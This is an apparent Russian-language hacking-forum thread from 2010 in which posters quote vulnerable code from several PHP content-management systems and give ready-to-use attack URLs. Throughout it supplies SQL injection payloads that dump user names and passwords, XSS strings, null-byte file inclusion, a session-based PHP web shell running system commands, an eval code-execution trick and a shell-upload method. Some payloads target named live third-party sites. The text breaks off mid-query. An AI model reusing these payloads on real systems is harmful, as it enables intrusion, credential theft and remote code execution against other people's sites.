10.02.2010, 23:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
BrewBlogger v2.3.1
http://www.brewblogger.net/
patch disclosure
http://localhost/brewblogger/includes/plug-ins.inc.php
----------------------
index.php
PHP код:
//image dir / SQL information and connect to MySQL server
require_once ('Connections/config.php');
//choose SQL table and set up functions to user authentication and
//navbar configuration for login/logout links
require ('includes/authentication_nav.inc.php'); session_start();
includes\authentication_nav.inc.php
$query_user = sprintf("SELECT * FROM users WHERE user_name = '%s'", $loginUsername);
$user = mysql_query($query_user, $brewing) or die(mysql_error());
$row_user = mysql_fetch_assoc($user);
$totalRows_user = mysql_num_rows($user);
Blind SQL
mq=off
http://localhost/brewblogger/index.php?loginUsername='+UNION+SELECT+(select+*+f rom(select+*+from(select+name_const((version()),1) d)+as+t+join+(select+name_const((version()),1)e)b) a)+--+
-----------------------
includes/db_connect_log.inc.php
PHP код:
/* set pagination variables */
if ($view == "limited") $display = 25;
elseif ($view == "all") $display = 9999999;
$pg = (isset($_REQUEST['pg']) && ctype_digit($_REQUEST['pg'])) ? $_REQUEST['pg'] : 1;
$start = $display * $pg - $display;
if (($row_pref['mode'] == "1") || (($row_pref['mode'] == "2") && ($filter == "all"))) {
mysql_select_db($database_brewing, $brewing);
$query_result = "SELECT count(*) FROM brewing";
if ($style != "all") $query_result .= " WHERE brewStyle='$style' AND"; else $query_result .= " WHERE";
$query_result .= " NOT brewArchive='Y'";
$result = mysql_query($query_result, $brewing) or die(mysql_error());
$total = mysql_result($result, 0);
$query_log = "SELECT * FROM brewing";
if ($style != "all") $query_log .= " WHERE brewStyle='$style' AND"; else $query_log .= " WHERE";
$query_log .= " NOT brewArchive='Y'";
$query_log .= " ORDER BY $sort $dir LIMIT $start, $display";
$sort слешируется ранее,
PHP код:
includes/url_variables.inc.php
$sort = "brewDate";
if (isset($_GET['sort'])) {
$sort = (get_magic_quotes_gpc()) ? $_GET['sort'] : addslashes($_GET['sort']);
}
$display никак не фильтруется. Хочется получить limit union select но мешает order by, поэтому только
Blind SQL
http://localhost/brewblogger/index.php?page=brewBlogList&&sort=(select+*+from(s elect+*+from(select+name_const((version()),1)d)+as +t+join+(select+name_const((version()),1)e)b)a)
----------------------
sections.entry.inc.php
PHP код:
$dbTable = "brewing";
if (isset($_GET['dbTable'])) {
$dbTable = (get_magic_quotes_gpc()) ? $_GET['dbTable'] : addslashes($_GET['dbTable']);
}
if ($action == "default") {
$style = "default";
if (isset($_GET['style'])) {
$style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
}
}
else
$style = $_POST['style'];
if (($action == "verify") || ($action == "print")) {
$name = $_POST['name'];
$address = $_POST['address'];
$city = $_POST['city'];
$state = $_POST['state'];
$zip = $_POST['zip'];
$homePhone = $_POST['homePhone'];
$workPhone = $_POST['workPhone'];
$email = $_POST['email'];
$brewClub = $_POST['brewClub'];
$brewName = $_POST['brewName'];
$still = $_POST['still'];
$dry = $_POST['dry'];
$hydromel = $_POST['hydromel'];
$petillant = $_POST['petillant'];
$semi = $_POST['semi'];
$standard = $_POST['standard'];
$sweet = $_POST['sweet'];
$sparkling = $_POST['sparkling'];
$sack = $_POST['sack'];
$special = $_POST['special'];
$waterTreatment = $_POST['waterTreatment'];
$yeastLiquid = $_POST['yeastLiquid'];
$yeastDried = $_POST['yeastDried'];
$starter = $_POST['starter'];
$yeastNutrients = $_POST['yeastNutrients'];
$carbonation = $_POST['carbonation'];
$volumeC02 = $_POST['volumeC02'];
$primingSugar = $_POST['primingSugar'];
$bottlingDate = $_POST['bottlingDate'];
$finingsType = $_POST['finingsType'];
$finingsAmount = $_POST['finingsAmount'];
}
mysql_select_db($database_brewing, $brewing);
$query_log = sprintf("SELECT * FROM $dbTable WHERE id = '%s'", $id);
$log = mysql_query($query_log, $brewing) or die(mysql_error());
$row_log = mysql_fetch_assoc($log);
$totalRows_log = mysql_num_rows($log);
$query_style1 = sprintf("SELECT * FROM styles WHERE brewStyle = '%s'", $style);
SQL
mq=off
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=defau lt
post
style=-1' union select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,unh ex(hex(concat_ws(0x3a,user_name,password))) from users --
pXSS
для полей
name
address
city
state
zip
homePhone
workPhone
email
brewClub
brewName
still
dry
hydromel
petillant
semi
standard
sweet
sparkling
sack
special
waterTreatment
yeastLiquid
yeastDried
starter
yeastNutrients
carbonation
volumeC02
primingSugar
bottlingDate
finingsType
finingsAmount
по типу
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=defau lt
post
city=<script>alert(121212)</script>
Последний раз редактировалось nikp; 10.02.2010 в 23:58..
|
|
|
11.02.2010, 21:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
php-addressbook v5.4.6 - r276
http://sourceforge.net/projects/php-addressbook/
group.php
PHP код:
echo "<div class='msgbox'>Users added.<br /><i>Go to <a href='./?group=$group_name'>group page \"$group_name\"</a>.</i></div>";
...
<form accept-charset="utf-8" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
pXSS
http://localhost/addressbookv5.4.6/index.php?group=1<script>alert(121212)</script>
pXSS
mq=off
http://localhost/addressbookv5.4.6/group.php/>"><script>alert(121212)</script>
---------------------
include/dbconnect.php
PHP код:
$get_vars = array( 'id' );
foreach($get_vars as $get_var) {
if(isset($_GET[$get_var])) {
${$get_var} = intval($_GET[$get_var]);
} elseif(isset($_POST[$get_var])) {
${$get_var} = intval($_POST[$get_var]);
} else {
${$get_var} = null;
}
}
echo $id, "<br />";
// Copy only used variables into global space.
$get_vars = array( 'searchstring', 'alphabet', 'group', 'resultnumber'
, 'submit', 'update', 'delete'
, 'new', 'add', 'remove', 'edit' );
foreach($get_vars as $get_var) {
if(isset($_GET[$get_var])) {
${$get_var} = mysql_real_escape_string($_GET[$get_var], $db);
} elseif(isset($_POST[$get_var])) {
${$get_var} = mysql_real_escape_string($_POST[$get_var], $db);
} else {
${$get_var} = null;
}
}
...
// To run the script on systeme with "register_globals" disabled,
// import all variables in a bit secured way: Remove HTML Tags
foreach($_REQUEST as $key => $value)
{
// Allow all tags in headers and footers
if($key == "group_header" || $key == "group_footer"){
${$key} = $value;
// Handle arrays
} elseif(is_array($value)) {
foreach($value as $entry)
{
${$key}[] = strip_tags($entry);
}
// Handle the rest
} else {
// ${$key} = htmlspecialchars($value); --chatelao-20071121, doesn't work with Chinese Characters
${$key} = strip_tags($value);
}
// TBD: prevent SQL-Injection
}
...
// ------------------- Group query handling ------------------------
//
$select_groups = "SELECT groups.*
, parent_groups.group_name parent_name
, parent_groups.group_id parent_id
FROM $table_groups AS groups
LEFT JOIN $table_groups AS parent_groups
ON groups.group_parent_id = parent_groups.group_id";
group.php
PHP код:
// Open for Editing
else if($edit || $id)
{
if($edit) $id = $selected[0];
if(! $read_only)
{
$result = mysql_query("$select_groups WHERE groups.group_id=$id",$db);
SQL
http://localhost/addressbookv5.4.6/group.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9+--+
-------------------------
edit.php
PHP код:
else if($id)
{
if(! $read_only)
{
$result = mysql_query("SELECT * FROM $base_from_where AND $table.id=$id",$db);
SQL
http://localhost/addressbookv5.4.6/edit.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23+--+
Последний раз редактировалось nikp; 11.02.2010 в 22:02..
|
|
|
|
18.02.2010, 22:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
cms chicomas Ver : 2.0.4
http://sourceforge.net/projects/chicomas/
functions.php
PHP код:
function SetLanguage() {
global $defaultlanguage;
$obj_language = new CLanguage();
$obj_languagearray = new CLanguageArray();
$obj_languageengine = new CLanguageEngine();
if (!$_REQUEST['lang']){
// No change request of language
if (!session_is_registered("lang")){
//No Registered
$lang = $defaultlanguage;
session_register("lang");
$_SESSION['lang'] = $lang;
}
else{
//Registered
}
}
else{
//Change request of language
$lang = $_REQUEST['lang'];
$obj_language = $obj_languageengine->GetLanguage($lang);
if ($obj_language!=null){
if (session_is_registered("lang")){
$_SESSION['lang'] = $lang;
}
else{
if ($lang =="")
$lang = $defaultlanguage;
session_register("lang");
}
}
}
$lang = $_SESSION['lang'];
switch (strtolower($lang)){
default:
case "tr":
$charset = "iso-8859-9";
break;
case "en":
$charset = "iso-8859-1";
break;
case "de":
$charset = "iso-8859-1";
break;
}
if (session_is_registered("charset")){
$_SESSION['charset'] = $charset;
}
else{
if ($charset =="")
$charset = "iso-8859-9";
session_register("charset");
}
//Include Language File
include("languages/".strtolower($_SESSION['lang'])."/language.php");
}
Если $obj_language = $obj_languageengine->GetLanguage($lang); вернет не пустой результат,
значение $lang = $_REQUEST['lang']; занесется в сессию и затем проинклудится
include("languages/".strtolower($_SESSION['lang'])."/language.php");
смотрим
objects/obj_languages.php
PHP код:
class CLanguageEngine {
function GetLanguages($active){
$o_dataaccess = new CDataAccess();
return $o_dataaccess->GetLanguages($active);
objects/obj_dataaccess.php
PHP код:
function GetLanguage($lang) {
$sql = "SELECT * FROM languages ";
$sql .= "WHERE lang='".strtolower($lang)."' ";
$sql .= "AND active='1'";
//echo "SQL:".$sql."<br>";
$db = new db();
$db->db_connect();
if ($db->is_connected()){
$db->db_query($sql);
while ($row = $db->get_row()) {
$o_language = new CLanguage($row);
}
$db->db_disconnect();
}
return $o_language;
}
при mq=off
SQL
http://localhost/chicomas/index.php?lang=en'+union+select+1,2,3,4,version(), 6+--+
SQL+LFI
http://localhost/chicomas/index.php?lang=/../../../../../../../boot.ini%00'+union+select+1,2,3,4,5,6+--+
Shell
если нашли сессию, получаем шелл, например так: (используем два разных браузера)
opera, заливаем шелл в сессию
http://localhost/chicomas/index.php?lang='+union+select+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,5,6+--+
firefox, инклудим сессию
http://localhost/chicomas/index.php?lang=/../../../../../../../Server/PHP/TMP/sess_be2c81ce822253b08bfa181ee5b7cf9d%00'+union+se lect+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,version(),6+--+&pass=dir
-------------------
tools/mysqlbackuppro/index.php
PHP код:
/*
* Locale Setting
*/
$locale = gonxlocale::init();
if (!isset($locale) or $locale=="") {
$locale = $GonxAdmin["locale"];
}
require_once("locale/".$locale.".php");
tools/mysqlbackuppro/libs/locale.class.php
PHP код:
class gonxlocale{
/**
* Constructor
* @access protected
*/
function locale(){
}
/**
*
* @access public
* @return void
**/
function init(){
global $locale,$GonxAdmin,$HTTP_SESSION_VARS;
if (session_is_registered('gonxlocale') and !isset($_GET["locale"])) {
$locale = $HTTP_SESSION_VARS["gonxlocale"];
} elseif (!isset($_GET["locale"])) {
$locale = $GonxAdmin["locale"];
session_register('gonxlocale');
$gonxlocale = $locale;
} elseif (isset($_GET["locale"])) {
if (is_file("locale/".$_GET["locale"].".php")) {
session_register('gonxlocale');
$HTTP_SESSION_VARS["gonxlocale"] = $_GET["locale"];
}
}
return $locale;
}
LFI
mq=off
http://localhost/chicomas/tools/mysqlbackuppro/index.php?locale=../../../../../../boot.ini%00
Последний раз редактировалось nikp; 19.02.2010 в 20:48..
|
|
|
|
21.02.2010, 01:56
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
AdaptCMS Lite v1.5 - NEW
www.adaptcms.com
pXSS
mq=off
http://localhost/adaptcms_lite_1.5/index.php
post
skin=1>"><script>alert(121212);</script>
http://localhost/adaptcms_lite_1.5/?cat=1'+><script>alert(121212);</script>
http://localhost/adaptcms_lite_1.5/index.php?view=redirect&url=1'+><script>alert(1212 12);</script>
http://localhost/adaptcms_lite_1.5/index.php/>'><script>alert(121212)</script>
-----------------------
index.php
PHP код:
$_GET['id'] = str_replace("/","",stripslashes(check($_GET['id'])));
$sql = mysql_query("SELECT * FROM ".$pre."pages WHERE url = '".$_GET['id']."'");
functions.php
PHP код:
function check($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base', 'img');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
$pattern .= '|(�{0,8}([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return strip_tags($val, "<p><a><font><b><i><u><span><em><div><li><ul><ol><center><blockquote>");
}
SQL
mq=off
http://localhost/adaptcms_lite_1.5/?view=page&id=-1'+union+select+1,user(),3,version(),5,6+--+
-------------------------------------
index.php
PHP код:
...
if ($_GET['field'] or $_GET['data']) {
$sql = mysql_query("SELECT * FROM ".$pre."fielddata WHERE".$fddata." ORDER BY `id` DESC".$lim);
} else {
if ($_GET['abc']) {
if ($_GET['cat']) {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
} else {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
}
} else {
if ($_GET['cat']) {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = ''".$adate." ORDER BY `id` DESC".$lim);
} else {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = ''".$adate." ORDER BY `id` DESC".$lim);
}
}
}
while($r = mysql_fetch_array($sql)) {
unset($data, $datas, $pab, $rab, $name1, $link1, $n, $m, $y, $x, $i, $id, $name, $relations_id, $relations_sec, $s, $fetch, $get, $dats, $fname, $lid, $lids, $b, $sqlst, $k, $data23, $check);
...
$pab[0] = "{link}";
$pab[1] = "{date}";
$pab[2] = "{story}";
$pab[3] = "{comments}";
$pab[4] = "{cnum}";
$pab[5] = "{pcomment}";
$pab[6] = "{author}";
$pab[7] = "{section}";
$pab[8] = "{cat}";
$pab[9] = "{url}";
$pab[10] = "{title}";
....
$pab[30] = "{".$r[section]."_name}";
$pab[31] = "{".$r[section]."_username}";
$pab[32] = "{".$r[section]."_id}";
$pab[33] = "{".$r[section]."_views}";
$pab[34] = "{".$r[section]."_votes}";
$pab[35] = "{".$r[section]."_social_icons}";
...
// start - custom fields
$name = "";$data = "";$row = "";
$sql_cf = mysql_query("SELECT * FROM ".$pre."fields WHERE cat = '".$r[section]."' OR cat = 'user-profile'");
while ($row = mysql_fetch_array($sql_cf)) {
$name = "$row[name]";
$data = mysql_fetch_row(mysql_query("SELECT data FROM ".$pre."fielddata WHERE fname = '".$name."' AND aid = '".$r[id]."'"));
$fdata[$name] = $data[0];
if ($data[0]) {
$n = $n + 1;
$pab[$n] = "{".$name."}";
$n = $n + 1;
$pab[$n] = "{".$r[section]."_".$name."}";
$m = $m + 1;
if ($row[type] == "textarea") {
$rab[$m] = parse_text($data[0]);
$m = $m + 1;
$rab[$m] = parse_text($data[0]);
} else {
$rab[$m] = stripslashes(html_entity_decode($data[0]));
$m = $m + 1;
$rab[$m] = stripslashes(html_entity_decode($data[0]));
}
} else {
$n = $n + 1;
$pab[$n] = "{".$name."}";
$n = $n + 1;
$pab[$n] = "{".$r[section]."_".$name."}";
$m = $m + 1;
$rab[$m] = "";
$m = $m + 1;
$rab[$m] = "";
}
}
// end - custom fields
...
eval (" ?>" . str_replace($pab, $rab, stripslashes($temp[0])) . " <?php ");
...
Выбирается шаблон ($temp[0]) и в нем поля (массив $pab) заменяются на конкретное содержание (массив $rab).
Чтобы выполнить свою команду, нужно добавить в массивы по элементу, где
$pab[400] = "{cat}"; ( такое поле есть в шаблоне $temp[0] )
$rab[400] = "php code"; (наша команда или скрипт)
этому препятсвует unset
unset($data, $datas, $pab, $rab, ...);
Приходится использовать unset багу.
сформируем hash_del_key для php5
для pab = 2090607416
для rab = 2090679290
Eval
register_globals = On
версия php, уязвимая для UNSET WHACKING
http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090607416[400]=1&2090679290[400]=1
http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090679290=1
Последний раз редактировалось nikp; 21.02.2010 в 20:48..
|
|
|
|
26.02.2010, 15:19
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 103
С нами:
8954306
Репутация:
1588
|
|
iGaming
iGaming CMS
Product : iGaming CMS
version : 1.5
site : forums.igamingcms.com SQL injection
mq=off
games.php
PHP код:
$sql = "SELECT `id`,`title`,`section`,`genre`,`developer`,`publisher`,`release_date` FROM `sp_games` ";
if (!empty($_REQUEST['title'])) {
$sql .= "WHERE `title` LIKE '$_REQUEST[title]%' ";
if (!empty($_REQUEST['section'])) {
$sql .= " AND `section` = '$_REQUEST[section]' ";
}
$sql .= " AND `published` = '1' ";
} else {
if (!empty($_REQUEST['section'])) {
$sql .= "WHERE `section` = '$_REQUEST[section]' AND `published` = '1' ";
} else {
$sql .= "WHERE `published` = '1' ";
...
if ($sql == "SELECT `id`,`title`,`section`,`genre`,`developer`,`publisher`,`release_date` FROM `sp_games` WHERE `published` = '1' ORDER BY `title` ASC")
Код:
http://localhost/games.php?order=genre§ion=%27+and+1=0+union+all+select+1,version%28%29,3,4,5,6,7--+&sort=
index.php
Код:
http://localhost/index.php?do=viewarticle&id=2'+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9--+
previews.php
PHP код:
$preview = $db->Execute("SELECT * FROM `sp_previews` WHERE `id` = '$_REQUEST'");
Код:
http://localhost/previews.php?do=view&id=1'+union+all+select+1,2,3,4,5--+
Admin Panel (SQL inj) (LFI)
LFI : support.php
PHP код:
require_once("../sources/docs/$_REQUEST.php");
Код:
http://localhost/admin/support.php?id=../../file%00
SQL injection : screenshots.php
mq=off
PHP код:
if (isset($_REQUEST['s'])) {
$latestPreview = $db->Execute("SELECT id,title,section FROM `sp_screenshots` WHERE `section` = '$_REQUEST[s]' ORDER BY `id` DESC");
Код:
http://localhost/admin/screenshots.php?s=1'+and+1=0+union+all+select+1,version(),3--+
Последний раз редактировалось [x60]unu; 26.02.2010 в 18:11..
|
|
|
|
01.03.2010, 03:15
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Ресурс http://download.ru/products/tiger-cms
редактирование раздела в админке файл edit.php
PHP код:
... check_var($_GET['id']);
$id_site = $_GET['id'];
$get_site = mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
if(mysql_num_rows($get_site) == 0)
{
mysql_query("INSERT INTO content(razdel_id,text) VALUES('".$id_site."','Текст')");
}
$get_site = mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
list($id,$razdel_id_id,$text) = mysql_fetch_array($get_site);
$get_razdel_name = mysql_query("SELECT name FROM razdeli WHERE id='".$id_site."' LIMIT 1");
list($razdel_name) = mysql_fetch_array($get_razdel_name);...
функия ис /admin/functions.php :
PHP код:
...
function check_var($var)
{
if(!isset($var))
{
die ("<script language='Javascript'>function reload() {location = \"index.php\"}; setTimeout('reload()', 0);</script>");
}
}
...
1) SQL inj:
http://site/admin/index.php?module=razdel&task=edit&id=-5'+union+select+1,2,version()--+
Вывод в редактор !!!
2) Путь если ошибки включены.
Файл admin\modules\razdel\delete.php:
PHP код:
... check_var($_GET['id']);
$id = $_GET['id'];
mysql_query("DELETE FROM razdeli WHERE id = '".$id."' LIMIT 1");
mysql_query("DELETE FROM content WHERE razdel_id = '".$id."' LIMIT 1");
echo 'Раздел удален'; ...
1) SQL inj:
http://site/admin/index.php?module=razdel&task=delete&id=18'[SQL]
Файл admin\modules\razdel\save_content.php:
PHP код:
... check_var($_GET['site_id']);
check_var($_POST['text']);
check_var($_POST['razdel_name']);
mysql_query("UPDATE razdeli SET name = '".$_POST['razdel_name']."' WHERE id='".$_GET['site_id']."' LIMIT 1");
mysql_query("UPDATE content SET text = '".$_POST['text']."' WHERE razdel_id = '".$_GET['site_id']."' LIMIT 1");
echo 'Раздел обновлен';...
1) SQL inj:
нужно еще устанавливать пост: $_POST['text'], $_POST['razdel_name'] если не будет -переадресация ...
1. site/index.php?module=razdel&task=save_content&site_id= 13'[SQL]
2. $_POST['razdel_name']' [SQL] должны быть установлены:
- $_POST['text']
- action:
Код:
admin/index.php?module=razdel&task=save_content&site_id=13
3. $_POST['text']' [SQL]
должны быть установлены:
- $_POST['razdel_name']
- action:
Код:
index.php?module=razdel&task=save_content&site_id=13
Файл admin\modules\news\edit.php :
PHP код:
... check_var($_GET['id']);
$id = $_GET['id'];
$get_news_e = mysql_query("SELECT id,title,text,alltext FROM news WHERE id='".$id."' LIMIT 1");
list($id_news_e,$title_e,$text_e,$alltext_e) = mysql_fetch_array($get_news_e); ...
1) пути;
2) http://localhost/triger/center3/admin/index.php?module=news&task=edit&id=6' [SQL];
пример:
http://site/admin/index.php?module=news&task=edit&id=-6'+union+select+1,2,3,4--+
Файл admin\modules\news\create.php:
PHP код:
... check_var($_POST['title']);
$title = $_POST['title'];
check_len($title,200);
clear_my_string($title);
$date = date("Y-m-d");
mysql_query("INSERT INTO news(title,text,alltext,date) VALUES('".$title."','".$_POST['text']."','".$_POST['alltext']."','".$date."')"); ...
1) SQL inj $_POST['alltext']' [SQL]
обязательны:
- $_POST['text']'
2) SQL inj $_POST['text']' [SQL]
обязательны:
- $_POST['alltext'];
Файл admin\modules\news\delete.php:
PHP код:
... check_var($_GET['id']);
$id = $_GET['id'];
mysql_query("DELETE FROM news WHERE id = '".$id."' LIMIT 1");
echo 'Новость удалена'; ...
1) http://site/admin/index.php?module=news&task=delete&id=6' [SQL]
Файл \admin\modules\news\save_news.php:
PHP код:
... check_var($_GET['id']);
check_var($_POST['title']);
check_var($_POST['text']);
check_var($_POST['alltext']);
$id = $_GET['id'];
$title = $_POST['title'];
$text = $_POST['text'];
$all_text = $_POST['alltext'];
$date = date("Y-m-d");
mysql_query("UPDATE news SET title = '".$title."',text = '".$text."',alltext = '".$all_text."',date='".$date."' WHERE id='".$id."' LIMIT 1");
echo 'Новость обновлена'; ...
1) SQL injection не привожу, аналогично, за пост не забываем ...
Файл \admin\modules\tags\save.php :
1) SQL inj update...
Условия:
1) mg=off;
2) админка;
Последний раз редактировалось Strilo4ka; 01.03.2010 в 05:06..
Причина: граматика!
|
|
|
|
01.03.2010, 18:36
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами:
9061820
Репутация:
134
|
|
Jojo CMS 1.0 Release Candidate 2
Официальный сайт: http://www.jojocms.org/
Последняя версия: Jojo CMS 1.0 Release Candidate 2(релиз 28 сентября 2009)
1)SQL-Injection
Требования:
отсутствуют.
Путь до уязвимого скрипта:
../gelato/index.php
Эксплуатация(по умолчанию админские данные лежат в таблице "gel_users"):
Код:
http://127.0.0.1/gelato/gelato/index.php?post=100500+union+select+1,concat%28user%28%29,0x3a,version%28%29,0x3a,database%28%29%29,3,4,5,6,7+--+
Реальный сайт:
Код:
http://jazzfaggot.ru/index.php?post=100500+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7+--+
Причина возникновения уязвимости:
ошибка в логике проверки получаемых данных.
PHP код:
if (isset($_GET["post"])) {
$id_post = $_GET["post"];
if (!is_numeric($id_post) && $id_post < 1 ){ //достаточно выполнить только одно условие, для того чтобы пройти проверку на корректность
header("Location: index.php");
}
} else {
if (isset($param_url[1]) && $param_url[1]=="post") {
$id_post = (isset($param_url[2])) ? ((is_numeric($param_url[2])) ? $param_url[2] : NULL) : NULL;
} else {
$id_post = NULL;
}
}
2) SQL-Injection(админка)
Требования:
доступ к администраторской панели Путь до уязвимого скрипта:
../gelato/gelato/admin/user.php
Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/admin/user.php?edit=2+union+select+1,2,3,4,5,6,7
Причина возникновения уязвимости:
полное отсутствие фильтрации.
3)Path dislocure:
Требования:
вывод ошибок. Путь до уязвимого скрипта:
../gelato/index.php
Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/index.php?post[]=100500
Реальный сайт:
Код:
http://madsc.iz.rs/index.php?post[]=8
4)Заливка шелла
Требования:
доступ в админку.
Путь до уязвимого скрипта:
../gelato/admin/index.php Код уязвимого скрипта:
PHP код:
if ($_POST["type"]=="2") { //слово "photo" переводится в числовой аналог скриптом, проинклюженным до этого
if (isset($_POST["url"]) && $_POST["url"]!="") {
$photoName = getFileName($_POST["url"]); //проверки на расширение нет-с
if (!$tumble->savePhoto($_POST["url"])) {
header("Location: ".$conf->urlGelato."/admin/index.php?photo=false");
die();
}
$_POST["url"] = "../uploads/".sanitizeName($photoName); }
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/index.php?new=photo
В качестве фотографии выбираете ваш шелл, любое расширение, создаёте пост. Шелл будет загружен в папку uploads.
Для того чтобы не спалить шелл на главной странице удалите ваш пост, шелл при этом удалён не будет.
Также уязвим модуль загрузки фотографии\музыки\видео\ит .[/I]
Причина возникновения уязвимости:
отсутствие проверки на расширение.
5)Активная XSS
Требования:
включена возможность комментирования.
Путь до уязвимого скрипта:
../gelato/index.php Уязвимое поле:
<textarea name="content" id="content" cols="100" rows="10" tabindex="4"></textarea>
Эксплуатация:
занесите в уязвимое поле ваш java-script, предварительно закрыв тэг(">)
Сайт с алертом: http://madsc.iz.rs/index.php/post/37 .
|
|
|
|
05.03.2010, 22:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
WORK system CMS e-commerce
http://sourceforge.net/projects/worksystem/
module/catalogue/view_catalogue.php
PHP код:
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= 1 ) ? $_REQUEST['select_catalogue'] : "";
...
#read data of product supplier : addresses
$error_select = "";
$total_select = 0;
$query_selecta = "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,b.POSTCODE as POSTCODEA,b.ADDRESS as ADDRESSA,b.TOWN as TOWNA,b.COUNTRY as COUNTRYA,b.USERNAME as USERNAMEA,b.EMAIL as EMAILA,b.PHONE as PHONEA,b.WEB_SITE as WEBSITEA
FROM ".$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."USER b
where ID_CATALOGUE=".$select_catalogue." and a.CREATOR=b.USERID ";
...
$query_select = "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,c.POSTCODE,c.ADDRESS,c.TOWN,c.COUNTRY,c.EMAIL,c.COMPANY_NAME,c.PHONE
